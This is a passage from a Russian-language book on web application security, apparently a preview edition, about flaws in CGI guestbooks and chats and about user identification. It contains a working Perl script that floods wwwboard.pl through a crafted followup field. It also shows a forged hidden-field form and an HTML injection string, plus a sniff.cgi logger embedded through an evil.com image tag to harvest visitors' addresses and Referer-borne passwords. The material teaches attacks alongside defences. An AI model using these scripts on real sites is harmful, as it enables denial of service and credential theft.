Ознакомительная версия.
<input type=hidden name="followup" value="1,2,3">
Небольшие манипуляции с этим полем могут привести к разным последствиям, самое безобидное из них – засорение доски с помощью указания в строке followup номеров сообщений, не имеющих отношения к текущему. Если же мы сформируем следующее значение («2, 2, 2»), то уже после отправления первого сообщения на главной странице доски к записи с этим номером добавится один ответ, а также три записи вида (N), показывающие количество ответов. В теле самого сообщения уже будут видны три ссылки на один и тот же ответ. Если мы отправим это же сообщение во второй раз, то на главной странице получим девять записей (N) и еще две ссылки.
Другими словами, отправление N сообщений с followup, содержащим M упоминаний сообщения k, приведет к записи в файл главной страницы MN записей вида (<!–responses: k–>N). Так, followup типа «2,2,2,2,2,2,2,2,2,2», отправленный девять раз, даст нам 21 х 109 байт одних только скобочек с номерами, а объем информации, переданной с клиента, не превысит и килобайта. В сочетании с предыдущей ошибкой получаем эффективное средство атаки на сервер.
Разумеется, можно попытаться поставить заслон атакующему, проверяя HTTP_REFERER и отвергая сообщения, посланные не с нашего сервера, но, как сказано выше, HTTP_REFERER легко подделать. На примере следующей атаки рассмотрим использование метода POST:
#!/usr/bin/perl
use Socket;
$port=80;
$remote="www.victim.com";
$path="/cgi-bin/wwwboard.pl";
$name="Some name";
$email=" [email protected]";
$subject="great page!";
$body="Nice page, guys!";
$followup="2,2,2,2,2,2,2,2,2,2,2,2,2,2";
$timestopost=10;
$forminfo = "name=$name&email=$email&followup=$followup&subject=$subject&body=$body";
$forminfo =~ s/,/%2C/g;
$forminfo =~ tr/ /+/;
$length = length($forminfo);
$submit = "POST $path HTTP/1.0rnReferer: $urlrn".
"User Agent: Mozilla/4.07 (Win95; I)rn".
"Content-type: application/x-www-form-urlencodedrn".
"Content-length: $lengthrnrn$forminforn";
for($i=1; $i <= $timestopost; $i++)
{
&post_message;
print "$i message(s) posted.n";
}
sub post_message
{
$iaddr = inet_aton($remote) || die("Failed to find host: $remote");
$paddr = sockaddr_in($port, $iaddr);
$proto = getprotobyname("tcp");
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die("Failed to open socket: $!");
connect(SOCK, $paddr) || die("Unable to connect: $!");
send(SOCK,$submit,0);
close(SOCK);
}
Единственный способ реально «залатать» скрипт – вставить проверку повторяющихся номеров сообщений в followup, но и это не решит проблему окончательно.
Использование серверных приложений для атаки на клиента
Ситуация, когда Web-мастер сознательно занимается атакой своих посетителей, является патологической. Гораздо чаще используются ошибки cgi-скриптов для атаки других посетителей (или для создания им серьезных неудобств).
Безопасность личной информации
В то время как IP-адрес сервера должен быть доступен всем клиентам, желающим воспользоваться его услугами, клиент вовсе не обязан афишировать везде свой адрес. И для того, чтобы начать на него атаку, нужно каким-то образом определить его адрес. В разделе «Атака на клиента» мы уже описывали некоторые клиентские приложения, существенно облегчающие задачу злоумышленникам, однако даже пользователь, не имеющий на своей машине ничего, кроме браузера, довольно уязвим.
Ваш любимый браузер при заходе на любую страницу сообщает о себе весьма много информации.
На простом примере покажем скрипт на Perl, выводящий основную информацию о посетителе страницы:
#!/usr/bin/perl
print ("Content-type: text/htmlnn");
@ee=(
"CHARSET", #кодировка
"HTTP_USER_AGENT", #тип браузера
"HTTP_REFERER", #страница, с которой вызван скрипт
"REMOTE_ADDR", #адрес клиента
"REMOTE_HOST", #хост клиента
"HTTP_X_FORWARDED_FOR" #адрес клиента, возвращаемый
# proxy-сервером
);
foreach $e(@ee)
{
print "<b>$e</b>: $ENV{$e}<br>n";
}
Часть информации – CHARSET, USER_AGENT и HTTP_REFERER – передается клиентом и, следовательно, может быть подделана (или скрыта, все зависит от точки зрения), с чем успешно справляются proxy-серверы и программы наподобие JunkBuster или @Guard. REMOTE_ADDR и REMOTE_HOST могут быть скрыты с помощью proxy-серверов, многие из которых возвращают реальный адрес клиента в X_FORWARDED_FOR.
Другой источник утечки информации – cookies. Технически cookie представляет собой строку символов, которую сервер может сохранить на диске клиента, с тем чтобы в дальнейшем ее считать. С точки зрения безопасности практически единственная проблема, связанная с cookies, заключается в том, что они могут быть отправлены на сервер при помощи JavaScript, и, следовательно, с их помощью может быть передана вся информация, доступная в JavaScript. Впрочем, то же самое можно проделать и при помощи скрытых форм. Предельный размер каждого cookie определен в 4 Кб, а для каждого сервера допускается не более 20 cookies. Информация, записанная сервером в cookie, считывается только этим же сервером и используется преимущественно в мирных целях, например для идентификации пользователей в online-магазине, для сохранения настроек и т. п.
С другой стороны, далеко не всем нравится, что сервер что-то пишет на диск без ведома пользователя, да и не всех устраивает, что с помощью cookie очень легко отследить маршрут передвижения посетителя по серверу, его привычки и т. д. Последнее очень важно в связи с распространением баннерных сетей, код которых находится на каждой второй странице WWW и которые могут установить – и устанавливают – свои cookies, позволяя проводить более масштабные маркетинговые исследования.
Проблемы идентификации
Предположим, мы пишем скрипт доски объявлений (или Web-чата) и хотим предусмотреть в нем возможность регистрации: чтобы пользователь мог ввести свои имя и пароль и после проверки получить право записи на доску. Вариант решения – формировать все страницы динамически с помощью скрипта, а имя пользователя записывать в скрытое поле для того, чтобы вставлять его в сообщение автоматически. Затем пользователь Vasya, честно пройдя регистрацию, дает команду View source и видит следующий код:
<form action="/cgi-bin/board.cgi" method="GET">
<input type="hidden" name="nick" value="Vasya">
<input type="text" name="message" maxlength="255">
…
</form>
Далее он копирует его себе на диск и слегка подправляет:
<form action="http://www.victim.com/cgi-bin/board.cgi" method="GET">
<input type="hidden" name="nick" value="Petya">
<input type="text" name="message">
…
</form>
После чего от имени невинного пользователя Petya делает свое черное дело и забивает нашу доску мусором. Наученные горьким опытом, мы начинаем хранить в скрытом поле не только имя, но и пароль. Далее все зависит от того, насколько вы позаботились о безопасности своих пользователей. К примеру, Vasya может написать следующий скрипт (назовем его sniff.cgi):
#!/usr/bin/perl
$log = "snifflog.txt";
$now_string = localtime;
@thetime = split(/ +/,$now_string);
@theclock = split(/:/,$thetime[3]);
$ampm = ’am’;
if ($theclock[0] > 11)
{ $ampm = ’pm’; }
if ($theclock[0] == 0)
{ $theclock[0] = 12; }
if ($theclock[0] > 12)
{ $theclock[0] -= 12; }
else
{ $theclock[0] += 0; }
$lnum=$ENV{’QUERY_STRING’};
open (DB, "$log") || die "Can’t Open $log: $!n";
flock(DB, 2);
@line=<DB>;
flock(DB, 8);
close(DB);
$value = $ENV{’HTTP_REFERER’};
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$line0="[$thetime[0] $theclock[0]:$theclock[1]$ampm] (".$lnum.") ".
$ENV{’REMOTE_ADDR’}." ".$ENV{’REMOTE_HOST’}." ".$ENV{’HTTP_X_FORWARDED_FOR’}."
[".$value."]";
[email protected];
$maxline=30 if ($maxline>30);
open (DB, ">$log") || die "Can’t Open $log: $!n";
flock(DB, 2);
print DB ("$line0n");
for ($i=0; $i<$maxline; $i++)
{
print DB ("$line[$i]");
}
flock(DB, 8);
close(DB);
print "Location: http://somehost/somepic.gifnn";
Затем он установит его на каком-либо сервере, разрешающем запуск cgi-приложений, и добавит на нашу доску код вида <img src="http://www.evil.com/cgi-bin/sniff.cgi"> (либо просто установит у себя на машине Web-сервер, вставит код <img src="http://vasya.home.host/somepic.gif"> и начнет изучать log-файл своего сервера). После чего все зашедшие на эту страницу исправно сообщат sniff.cgi, кто они, откуда и т. д. В частности, поскольку мы выбрали в качестве метода передачи данных GET, HTTP_REFERER будет содержать и имя, и пароль пользователя. Между прочим, очень многие Web-чаты до сих пор имеют этот недостаток. Дальнейшее уже зависит от политики в отношении вставки html-тэгов. Мы можем махнуть рукой и отдать нашу доску на растерзание, можем запретить все тэги, завести список запрещенных или разрешенных тэгов. Выбрав путь фильтрации, важно фильтровать весь пользовательский ввод, не рассчитывая, например, на то, что, если вы сделали в своем чате выпадающий список, позволяющий выбрать цвет, никому не придет в голову передать вместо ожидаемой строки с кодом цвета строчку вида
color"><img src="..."><
Впрочем, даже после этого мы не застрахованы, к примеру, от того, что Vasya, находясь в одной локальной сети с Petya, не установит там анализатор сетевого трафика и не подсмотрит всю критичную информацию. При более серьезном объекте атаки, чем гостевая книга или Web-чат, и последствия более серьезные – достаточно представить на их месте Web-магазин либо систему управления банковским счетом.
Приведенные примеры являются лишь одной стороной общей проблемы идентификации в Internet. Несмотря на то что среднестатистический пользователь оставляет в Сети массу сведений о себе, мы не можем быть уверенными в том, что два захода с одного и того же адреса принадлежат одному и тому же пользователю, и наоборот, что один и тот же пользователь не может зайти с разных адресов.
Все предлагаемые решения этой проблемы имеют те или иные недостатки:
1. Средства аутентификации пользователей, встроенные в серверы, являются наиболее очевидным решением. В IIS разграничение доступа осуществляется средствами файловой системы, в Apache защита ставится на уровне каталогов путем размещения в общем каталоге конфигурационного файла (в разделе <Directory>) либо в локальных конфигурационных файлах (.htaccess) соответствующих директив, описывающих пути до файлов с именами групп, пользователей и паролей, а также права доступа для разных групп. После чего можно просто считать в нашем скрипте имя пользователя из переменной окружения REMOTE_USER. Этот подход имеет два минуса. Во-первых, далеко не всегда нам нужно что-то большее, чем простая идентификация пользователя. При дневном трафике в несколько десятков тысяч человек нам ни к чему заводить для каждого пользователя свою учетную запись. Но даже если нам потребуется аутентификация, мы столкнемся с проблемой открытой передачи паролей, потенциально приводящей к возможности их перехвата. Если же использовать средства более строгого шифрования паролей (digest-аутентификация в Apache, NT Challenge/Response в IIS), то есть вероятность столкнуться с несовместимостью и с юридическими проблемами (SSL).
Ознакомительная версия.
